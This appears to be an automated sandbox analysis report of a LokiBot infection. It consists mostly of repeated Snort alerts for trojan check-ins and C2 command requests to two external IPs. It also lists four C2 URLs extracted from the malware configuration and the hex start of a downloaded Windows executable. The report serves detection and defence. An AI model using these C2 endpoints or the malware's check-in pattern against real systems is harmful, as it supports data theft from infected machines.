Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49197 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49197 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49197 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49198 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49198 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49198 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49198 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49199 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49199 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49199 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49199 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49200 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49200 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49200 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49200 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49201 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49201 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49201 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49201 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49202 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49202 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49202 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49202 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49203 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49203 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49203 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49203 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49204 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49204 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49204 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49204 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49205 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49205 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49205 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49205 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49206 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49206 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49206 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49206 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49207 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49207 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49207 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49207 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49208 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49208 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49208 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49208 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49209 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49209 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49209 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49209 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49210 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49210 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49210 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49210 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49211 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49211 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49211 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49211 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49212 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49212 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49212 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49212 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49213 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49213 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49213 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49213 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49214 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49214 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49214 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49214 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49215 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49215 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49215 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49215 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49216 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49216 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49216 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49216 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49217 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49217 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49217 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49217 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49218 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49218 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49218 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49218 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49219 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49219 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49219 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49219 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49220 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49220 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49220 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49220 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49221 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49221 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49221 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49221 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49222 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49222 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49222 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49222 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49223 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49223 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49223 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49223 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49224 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49224 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49224 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49224 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49225 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49225 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49225 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49225 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49226 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49226 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49226 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49226 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49227 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49227 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49227 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49227 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49228 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49228 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49228 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49228 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49229 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49229 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49229 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49229 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49230 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49230 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49230 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49230 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49231 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49231 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49231 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49231 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49232 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49232 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49232 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49232 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49234 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49234 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49234 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49234 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49235 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49235 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49235 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49235 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49236 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49236 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49236 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49236 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49237 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49237 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49237 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49237 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49238 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49238 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49238 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49238 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49239 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49239 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49239 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49239 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49240 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49240 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49240 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49240 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49241 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49241 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49241 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49241 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49242 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49242 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49242 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49242 -> 104.21.49.244:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49243 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49243 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49243 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49243 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49244 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49244 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49244 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49244 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49245 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49245 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49245 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49245 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49246 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49246 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49246 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49246 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49247 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49247 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49247 -> 172.67.197.66:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49247 -> 172.67.197.66:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php

Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

IP Address: 198.46.132.195 198.46.132.195

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 10 Feb 2022 09:21:50 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Thu, 10 Feb 2022 03:31:37 GMTETag: "480d4-5d7a1966fd8a9"Accept-Ranges: bytesContent-Length: 295124Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e5 75 4a a8 a1 14 24 fb a1 14 24 fb a1 14 24 fb 2f 1c 7b fb a3 14 24 fb a1 14 25 fb 3a 14 24 fb 22 1c 79 fb b0 14 24 fb f5 37 14 fb a8 14 24 fb 66 12 22 fb a0 14 24 fb 52 69 63 68 a1 14 24 fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c9 cd ef 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5a 00 00 00 d4 01 00 00 04 00 00 25 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 d0 02 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 c0 02 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 